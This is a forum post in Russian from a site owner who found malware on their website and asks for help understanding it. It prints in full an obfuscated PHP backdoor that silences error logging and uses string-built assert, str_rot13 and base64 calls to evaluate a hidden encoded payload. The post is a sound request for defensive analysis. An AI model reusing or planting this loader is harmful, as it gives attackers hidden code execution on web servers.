На своём сайте нашел зловреда. Помогите понять его исходный код.
//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);
$strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8iMz9lq2SlMP1cozEyrP5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqXF4vWzD9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVznG0kWzt9Vv5gMQHbVwV4MGWvBQWvBQt5Lwp5ZQZ5MQywAJRjMwyvBTMvBQR0ZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1OCH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1OCH1EoVaNvKFxcVQ09VPV1MzV3ZQAyAwNmZGp2MGMxAQxkAwL5LJR5BGV5ZmL2MPVcVUftDTI2LJjbp3ElnKOmoTSmnTImXPEsHR9GISfvLlWqXFx7VU0XMJAbolNxnJW2Bjc9VU0="));'); $strings($light);
//###=CACHE END=###